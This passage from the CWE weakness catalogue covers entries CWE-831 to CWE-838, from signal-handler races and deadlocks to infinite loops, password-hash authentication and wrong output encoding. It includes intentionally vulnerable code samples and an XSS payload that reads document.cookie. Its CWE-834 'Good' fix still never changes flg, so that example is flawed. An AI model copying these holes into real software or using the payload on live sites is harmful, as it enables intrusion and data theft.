Example Language: C *(Bad)*

```
void handler (int sigNum) {
  ...
}
int main (int argc, char* argv[]) {
  signal(SIGUSR1, handler)
  signal(SIGUSR2, handler)
}
```

Example 2:

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

Example Language: C *(Bad)*

```
char *logMessage;
void handler (int sigNum) {
  syslog(LOG_NOTICE, "%s\n", logMessage);
  free(logMessage);
  /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
  sleep(10);
  exit(0);
}
int main (int argc, char* argv[]) {
  logMessage = strdup(argv[1]);
  /* Register signal handlers. */
  signal(SIGHUP, handler);
  signal(SIGTERM, handler);
  /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
  sleep(10);
}
```

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

- The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.
- The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.
- The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").
- SIGHUP-handler begins to execute, calling syslog().
- syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.
- The attacker then sends SIGTERM.
- SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.
- The SIGTERM handler is invoked.
- SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [REF-360]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2526

References

[REF-360]Michal Zalewski. "Delivering Signals for Fun and Profit". < https://lcamtuf.coredump.cx/signals.txt >.2023-04-07.

[REF-361]"Race Condition: Signal Handling". < https://vulncat.fortify.com/en/detail?id=desc.structural.cpp.race_condition_signal_handling#:~:text=Signal%20handling%20race%20conditions%20can,installed%20to%20handle%20multiple%20signals.s >.2023-04-07.

CWE-832: Unlock of a Resource that is not Locked

Weakness ID : 832
Structure : Simple
Abstraction : Base

Description

The product attempts to unlock a resource that is not locked.

Extended Description

Depending on the locking functionality, an unlock of a non-locked resource might cause memory corruption or other modification to the resource (or its associated metadata that is used for tracking locks).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	667	Improper Locking	1464

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	411	Resource Locking Problems	2325

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Other	DoS: Crash, Exit, or Restart Execute Unauthorized Code or Commands Modify Memory Other *Depending on the locking being used, an unlock operation might not have any adverse effects. When effects exist, the most common consequence will be a corruption of the state of the product, possibly leading to a crash or exit; depending on the implementation of the unlocking, memory corruption or code execution could occur.*	

Observed Examples

Reference	Description
CVE-2010-4210	function in OS kernel unlocks a mutex that was not previously locked, causing a panic or overwrite of arbitrary memory. *https://www.cve.org/CVERecord?id=CVE-2010-4210*
CVE-2008-4302	Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash. *https://www.cve.org/CVERecord?id=CVE-2008-4302*
CVE-2009-1243	OS kernel performs an unlock in some incorrect circumstances, leading to panic. *https://www.cve.org/CVERecord?id=CVE-2009-1243*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2526

CWE-833: Deadlock

Weakness ID : 833
Structure : Simple
Abstraction : Base

Description

The product contains multiple threads or executable segments that are waiting for each other to release a necessary lock, resulting in deadlock.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	667	Improper Locking	1464

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1448

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	411	Resource Locking Problems	2325

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Other) DoS: Crash, Exit, or Restart *Each thread of execution will "hang" and prevent tasks from completing. In some cases, CPU consumption may occur if a lock check occurs in a tight loop.*	

Observed Examples

Reference	Description
CVE-1999-1476	A bug in some Intel Pentium processors allow DoS (hang) via an invalid "CMPXCHG8B" instruction, causing a deadlock *https://www.cve.org/CVERecord?id=CVE-1999-1476*
CVE-2009-2857	OS deadlock *https://www.cve.org/CVERecord?id=CVE-2009-2857*
CVE-2009-1961	OS deadlock involving 3 separate functions *https://www.cve.org/CVERecord?id=CVE-2009-1961*
CVE-2009-2699	deadlock in library *https://www.cve.org/CVERecord?id=CVE-2009-2699*

Reference	Description
CVE-2009-4272	deadlock triggered by packets that force collisions in a routing table *https://www.cve.org/CVERecord?id=CVE-2009-4272*
CVE-2002-1850	read/write deadlock between web server and script *https://www.cve.org/CVERecord?id=CVE-2002-1850*
CVE-2004-0174	web server deadlock involving multiple listening connections *https://www.cve.org/CVERecord?id=CVE-2004-0174*
CVE-2009-1388	multiple simultaneous calls to the same function trigger deadlock. *https://www.cve.org/CVERecord?id=CVE-2009-1388*
CVE-2006-5158	chain: other weakness leads to NULL pointer dereference (CWE-476) or deadlock (CWE-833). *https://www.cve.org/CVERecord?id=CVE-2006-5158*
CVE-2006-4342	deadlock when an operation is performed on a resource while it is being removed. *https://www.cve.org/CVERecord?id=CVE-2006-4342*
CVE-2006-2374	Deadlock in device driver triggered by using file handle of a related device. *https://www.cve.org/CVERecord?id=CVE-2006-2374*
CVE-2006-2275	Deadlock when large number of small messages cannot be processed quickly enough. *https://www.cve.org/CVERecord?id=CVE-2006-2275*
CVE-2005-3847	OS kernel has deadlock triggered by a signal during a core dump. *https://www.cve.org/CVERecord?id=CVE-2005-3847*
CVE-2005-3106	Race condition leads to deadlock. *https://www.cve.org/CVERecord?id=CVE-2005-3106*
CVE-2005-2456	Chain: array index error (CWE-129) leads to deadlock (CWE-833) *https://www.cve.org/CVERecord?id=CVE-2005-2456*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	853	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)	844	2366
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2526

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	LCK08-J		Ensure actively held locks are released on exceptional conditions

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
25	Forced Deadlock

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-783]Robert C. Seacord. "Secure Coding in C and C++". 2006. Addison Wesley.

CWE-834: Excessive Iteration

Weakness ID : 834
Structure : Simple
Abstraction : Class

Description

The product performs an iteration or loop without sufficiently limiting the number of times that the loop is executed.

Extended Description

If the iteration can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory. In many cases, a loop does not need to be infinite in order to cause enough resource consumption to adversely affect the product or its host system; it depends on the amount of resources consumed per iteration.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1517
ParentOf	C	674	Uncontrolled Recursion	1484
ParentOf	B	835	Loop with Unreachable Exit Condition ('Infinite Loop')	1757
ParentOf	B	1322	Use of Blocking Code in Single-threaded, Non-blocking Context	2207
CanFollow	B	606	Unchecked Input for Loop Condition	1357
CanFollow	B	1339	Insufficient Precision or Accuracy of a Real Number	2242

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	835	Loop with Unreachable Exit Condition ('Infinite Loop')	1757

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Amplification DoS: Crash, Exit, or Restart *Excessive looping will cause unexpected consumption of resources, such as CPU cycles or memory. The product's operation may slow down, or cause a long time to respond. If limited resources such as memory are consumed for each iteration, the loop may eventually cause a crash or program exit due to exhaustion of resources, such as an out-of-memory error.*	

Detection Methods

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer Forced Path Execution

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Demonstrative Examples

Example 1:

In this example a mistake exists in the code where the exit condition contained in flg is never called. This results in the function calling itself over and over again until the stack is exhausted.

Example Language: C *(Bad)*

```
void do_something_recursive (int flg)
{
  ... // Do some real work here, but the value of flg is unmodified
  if (flg) { do_something_recursive (flg); } // flg is never modified so it is always TRUE - this call will continue until the stack
  explodes
}
int flag = 1; // Set to TRUE
do_something_recursive (flag);
```

Note that the only difference between the Good and Bad examples is that the recursion flag will change value and cause the recursive call to return.

Example Language: C *(Good)*

```
void do_something_recursive (int flg)
{
  ... // Do some real work here
  // Modify value of flg on done condition
  if (flg) { do_something_recursive (flg); } // returns when flg changes to 0
}
int flag = 1; // Set to TRUE
do_something_recursive (flag);
```

Example 2:

For this example, the method isReorderNeeded is part of a bookstore application that determines if a particular book needs to be reordered based on the current inventory count and the rate at which the book is being sold.

Example Language: Java *(Bad)*

```
public boolean isReorderNeeded(String bookISBN, int rateSold) {
  boolean isReorder = false;
  int minimumCount = 10;
  int days = 0;
  // get inventory count for book
  int inventoryCount = inventory.getIventoryCount(bookISBN);
```

```
    // find number of days until inventory count reaches minimum
    while (inventoryCount > minimumCount) {
        inventoryCount = inventoryCount - rateSold;
        days++;
    }
    // if number of days within reorder timeframe
    // set reorder return boolean to true
    if (days > 0 && days < 5) {
        isReorder = true;
    }
    return isReorder;
}
```

However, the while loop will become an infinite loop if the rateSold input parameter has a value of zero since the inventoryCount will never fall below the minimumCount. In this case the input parameter should be validated to ensure that a value of zero does not cause an infinite loop, as in the following code.

Example Language: Java *(Good)*

```
public boolean isReorderNeeded(String bookISBN, int rateSold) {
    ...
    // validate rateSold variable
    if (rateSold < 1) {
        return isReorder;
    }
    ...
}
```

Observed Examples

Reference	Description
CVE-2011-1027	Chain: off-by-one error (CWE-193) leads to infinite loop (CWE-835) using invalid hex-encoded characters. *https://www.cve.org/CVERecord?id=CVE-2011-1027*
CVE-2006-6499	Chain: web browser crashes due to infinite loop - "bad looping logic [that relies on] floating point math [CWE-1339] to exit the loop [CWE-835]" *https://www.cve.org/CVERecord?id=CVE-2006-6499*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2576
MemberOf	C	1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2536

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')

Weakness ID : 835
Structure : Simple
Abstraction : Base

Description

The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.

Extended Description

If the loop can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	834	Excessive Iteration	1754
CanFollow	B	1322	Use of Blocking Code in Single-threaded, Non-blocking Context	2207

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	834	Excessive Iteration	1754

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	2326

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Amplification *An infinite loop will cause unexpected consumption of resources, such as CPU cycles or memory. The software's operation may slow down, or cause a long time to respond.*	

Demonstrative Examples

Example 1:

In the following code the method processMessagesFromServer attempts to establish a connection to a server and read and process messages from the server. The method uses a do/while loop to continue trying to establish the connection to the server when an attempt fails.

Example Language: C *(Bad)*

```
int processMessagesFromServer(char *hostaddr, int port) {
  ...
  int servsock;
  int connected;
  struct sockaddr_in servaddr;
  // create socket to connect to server
  servsock = socket( AF_INET, SOCK_STREAM, 0);
  memset( &servaddr, 0, sizeof(servaddr));
  servaddr.sin_family = AF_INET;
  servaddr.sin_port = htons(port);
  servaddr.sin_addr.s_addr = inet_addr(hostaddr);
  do {
    // establish connection to server
    connected = connect(servsock, (struct sockaddr *)&servaddr, sizeof(servaddr));
    // if connected then read and process messages from server
    if (connected > -1) {
      // read and process messages
      ...
    }
  // keep trying to establish connection to the server
  } while (connected < 0);
  // close socket and return success or failure
  ...
}
```

However, this will create an infinite loop if the server does not respond. This infinite loop will consume system resources and can be used to create a denial of service attack. To resolve this a counter should be used to limit the number of attempts to establish a connection to the server, as in the following code.

Example Language: C *(Good)*

```
int processMessagesFromServer(char *hostaddr, int port) {
  ...
  // initialize number of attempts counter
  int count = 0;
  do {
    // establish connection to server
    connected = connect(servsock, (struct sockaddr *)&servaddr, sizeof(servaddr));
    // increment counter
    count++;
    // if connected then read and process messages from server
    if (connected > -1) {
      // read and process messages
      ...
    }
  // keep trying to establish connection to the server
  // up to a maximum number of attempts
  } while (connected < 0 && count < MAX_ATTEMPTS);
  // close socket and return success or failure
  ...
}
```

Example 2:

For this example, the method isReorderNeeded is part of a bookstore application that determines if a particular book needs to be reordered based on the current inventory count and the rate at which the book is being sold.

Example Language: Java *(Bad)*

```
public boolean isReorderNeeded(String bookISBN, int rateSold) {
  boolean isReorder = false;
  int minimumCount = 10;
  int days = 0;
  // get inventory count for book
  int inventoryCount = inventory.getIventoryCount(bookISBN);
  // find number of days until inventory count reaches minimum
  while (inventoryCount > minimumCount) {
    inventoryCount = inventoryCount - rateSold;
    days++;
  }
  // if number of days within reorder timeframe
  // set reorder return boolean to true
  if (days > 0 && days < 5) {
    isReorder = true;
  }
  return isReorder;
}
```

However, the while loop will become an infinite loop if the rateSold input parameter has a value of zero since the inventoryCount will never fall below the minimumCount. In this case the input parameter should be validated to ensure that a value of zero does not cause an infinite loop, as in the following code.

Example Language: Java *(Good)*

```
public boolean isReorderNeeded(String bookISBN, int rateSold) {
  ...
  // validate rateSold variable
  if (rateSold < 1) {
    return isReorder;
  }
  ...
}
```

Observed Examples

Reference	Description
CVE-2022-22224	Chain: an operating system does not properly process malformed Open Shortest Path First (OSPF) Type/Length/Value Identifiers (TLV) (CWE-703), which can cause the process to enter an infinite loop (CWE-835) *https://www.cve.org/CVERecord?id=CVE-2022-22224*
CVE-2022-25304	A Python machine communication platform did not account for receiving a malformed packet with a null size, causing the receiving function to never update the message buffer and be caught in an infinite loop. *https://www.cve.org/CVERecord?id=CVE-2022-25304*
CVE-2011-1027	Chain: off-by-one error (CWE-193) leads to infinite loop (CWE-835) using invalid hex-encoded characters. *https://www.cve.org/CVERecord?id=CVE-2011-1027*
CVE-2011-1142	Chain: self-referential values in recursive definitions lead to infinite loop. *https://www.cve.org/CVERecord?id=CVE-2011-1142*
CVE-2011-1002	NULL UDP packet is never cleared from a queue, leading to infinite loop. *https://www.cve.org/CVERecord?id=CVE-2011-1002*
CVE-2006-6499	Chain: web browser crashes due to infinite loop - "bad looping logic [that relies on] floating point math [CWE-1339] to exit the loop [CWE-835]" *https://www.cve.org/CVERecord?id=CVE-2006-6499*
CVE-2010-4476	Floating point conversion routine cycles back and forth between two different values. *https://www.cve.org/CVERecord?id=CVE-2010-4476*
CVE-2010-4645	Floating point conversion routine cycles back and forth between two different values. *https://www.cve.org/CVERecord?id=CVE-2010-4645*
CVE-2010-2534	Chain: improperly clearing a pointer in a linked list leads to infinite loop. *https://www.cve.org/CVERecord?id=CVE-2010-2534*
CVE-2013-1591	Chain: an integer overflow (CWE-190) in the image size calculation causes an infinite loop (CWE-835) which sequentially allocates buffers without limits (CWE-1325) until the stack is full. *https://www.cve.org/CVERecord?id=CVE-2013-1591*
CVE-2008-3688	Chain: A denial of service may be caused by an uninitialized variable (CWE-457) allowing an infinite loop (CWE-835) resulting from a connection to an unresponsive server.

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2008-3688

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2442
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2483
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2485
MemberOf	C	1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2536

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCSM	ASCSM-CWE-835		

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-836: Use of Password Hash Instead of Password for Authentication

Weakness ID : 836
Structure : Simple
Abstraction : Base

Description

The product records password hashes in a data store, receives a hash of a password from a client, and compares the supplied hash to the hash obtained from the data store.

Extended Description

Some authentication mechanisms rely on the client to generate the hash for a password, possibly to reduce load on the server or avoid sending the password across the network. However, when the client is used to generate the hash, an attacker can bypass the authentication by obtaining a copy of the hash, e.g. by using SQL injection to compromise a database of authentication credentials, or by exploiting an information exposure. The attacker could then use a modified client to replay the stolen hash without having knowledge of the original password.

As a result, the server-side comparison against a client-side hash does not provide any more security than the use of passwords without hashing.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	1390	Weak Authentication	2267
PeerOf	Ⓒ	602	Client-Side Enforcement of Server-Side Security	1350

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	2424

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2475

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *An attacker could bypass the authentication routine without knowing the original password.*	

Observed Examples

Reference	Description
CVE-2009-1283	Product performs authentication with user-supplied password hashes that can be obtained from a separate SQL injection vulnerability (CVE-2009-1282). *https://www.cve.org/CVERecord?id=CVE-2009-1283*
CVE-2005-3435	Product allows attackers to bypass authentication by obtaining the password hash for another user and specifying the hash in the pwd argument. *https://www.cve.org/CVERecord?id=CVE-2005-3435*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
644	Use of Captured Hashes (Pass The Hash)
652	Use of Known Kerberos Credentials

CWE-837: Improper Enforcement of a Single, Unique Action

Weakness ID : 837
Structure : Simple
Abstraction : Base

Description

The product requires that an actor should only be able to perform an action once, or to have only one unique action, but the product does not enforce or improperly enforces this restriction.

Extended Description

In various applications, a user is only expected to perform a certain action once, such as voting, requesting a refund, or making a purchase. When this restriction is not enforced, sometimes this can have security implications. For example, in a voting application, an attacker could attempt to "stuff the ballot box" by voting multiple times. If these votes are counted separately, then the attacker could directly affect who wins the vote. This could have significant business impact depending on the purpose of the product.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	799	Improper Control of Interaction Frequency	1699

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	2326
MemberOf	C	840	Business Logic Errors	2360

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context *An attacker might be able to gain advantage over other users by performing the action multiple times, or affect the correctness of the product.*	

Observed Examples

Reference	Description
CVE-2008-0294	Ticket-booking web application allows a user to lock a seat more than once. *https://www.cve.org/CVERecord?id=CVE-2008-0294*
CVE-2005-4051	CMS allows people to rate downloads by voting more than once. *https://www.cve.org/CVERecord?id=CVE-2005-4051*
CVE-2002-216	Polling software allows people to vote more than once by setting a cookie. *https://www.cve.org/CVERecord?id=CVE-2002-216*
CVE-2003-1433	Chain: lack of validation of a challenge key in a game allows a player to register multiple times and lock other players out of the game. *https://www.cve.org/CVERecord?id=CVE-2003-1433*
CVE-2002-1018	Library feature allows attackers to check out the same e-book multiple times, preventing other users from accessing copies of the e-book. *https://www.cve.org/CVERecord?id=CVE-2002-1018*
CVE-2009-2346	Protocol implementation allows remote attackers to cause a denial of service (call-number exhaustion) by initiating many message exchanges. *https://www.cve.org/CVERecord?id=CVE-2009-2346*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2536

CWE-838: Inappropriate Encoding for Output Context

Weakness ID : 838
Structure : Simple
Abstraction : Base

Description

The product uses or specifies an encoding when generating output to a downstream component, but the specified encoding is not the same as the encoding that is expected by the downstream component.

Extended Description

This weakness can cause the downstream component to use a decoding method that produces different data than what the product intended to send. When the wrong encoding is used - even if closely related - the downstream component could decode the data incorrectly. This can have security consequences when the provided boundaries between control and data are inadvertently broken, because the resulting data could introduce control characters or special elements that were not sent by the product. The resulting data could then be used to bypass protection mechanisms such as input validation, and enable injection attacks.

While using output encoding is essential for ensuring that communications between components are accurate, the use of the wrong encoding - even if closely related - could cause the downstream component to misinterpret the output.

For example, HTML entity encoding is used for elements in the HTML body of a web page. However, a programmer might use entity encoding when generating output for that is used within an attribute of an HTML tag, which could contain functional Javascript that is not affected by the HTML encoding.

While web applications have received the most attention for this problem, this weakness could potentially apply to any type of product that uses a communications stream that could support multiple encodings.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	116	Improper Encoding or Escaping of Output	281

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	116	Improper Encoding or Escaping of Output	281

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	2311

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Modify Application Data Execute Unauthorized Code or Commands *An attacker could modify the structure of the message or data being sent to the downstream component, possibly injecting commands.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Output Encoding

Use context-aware encoding. That is, understand which encoding is being used by the downstream component, and ensure that this encoding is used. If an encoding can be specified, do so, instead of assuming that the default encoding is the same as the default being assumed by the downstream component.

Phase: Architecture and Design

Strategy = Output Encoding

Where possible, use communications protocols or data formats that provide strict boundaries between control and data. If this is not feasible, ensure that the protocols or formats allow the communicating components to explicitly state which encoding/decoding method is being used. Some template frameworks provide built-in support.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error. Note that some template mechanisms provide built-in support for the appropriate encoding.

Demonstrative Examples

Example 1:

This code dynamically builds an HTML page using POST data:

Example Language: PHP *(Bad)*

```
$username = $_POST['username'];
$picSource = $_POST['picsource'];
$picAltText = $_POST['picalttext'];
...
echo "<title>Welcome, " . htmlentities($username) ."</title>";
echo "<img src='". htmlentities($picSource) ." ' alt='". htmlentities($picAltText) . '" />';
...
```

The programmer attempts to avoid XSS exploits (CWE-79) by encoding the POST values so they will not be interpreted as valid HTML. However, the htmlentities() encoding is not appropriate when the data are used as HTML attributes, allowing more attributes to be injected.

For example, an attacker can set picAltText to:

Example Language: *(Attack)*

```
"altTextHere' onload='alert(document.cookie)"
```

This will result in the generated HTML image tag:

Example Language: HTML *(Result)*

```
<img src='pic.jpg' alt='altTextHere' onload='alert(document.cookie)' />
```

The attacker can inject arbitrary javascript into the tag due to this incorrect encoding.

Observed Examples

Reference	Description
CVE-2009-2814	Server does not properly handle requests that do not contain UTF-8 data; browser assumes UTF-8, allowing XSS. *https://www.cve.org/CVERecord?id=CVE-2009-2814*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	2362
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	2372
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	1138	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 04. Characters and Strings (STR)	1133	2446
MemberOf	C	1407	Comprehensive Categorization: Improper Neutralization	1400	2532

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	IDS13-J		Use compatible encodings on both sides of file or network IO

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
468	Generic Cross-Browser Cross-Domain Theft

References

[REF-786]Jim Manico. "Injection-safe templating languages". 2010 June 0. < https://manicode.blogspot.com/2010/06/injection-safe-templating-languages_30.html >.2023-04-07.

[REF-787]Dinis Cruz. "Can we please stop saying that XSS is boring and easy to fix!". 2010 September 5. < http://diniscruz.blogspot.com/2010/09/can-we-please-stop-saying-that-xss-is.html >.

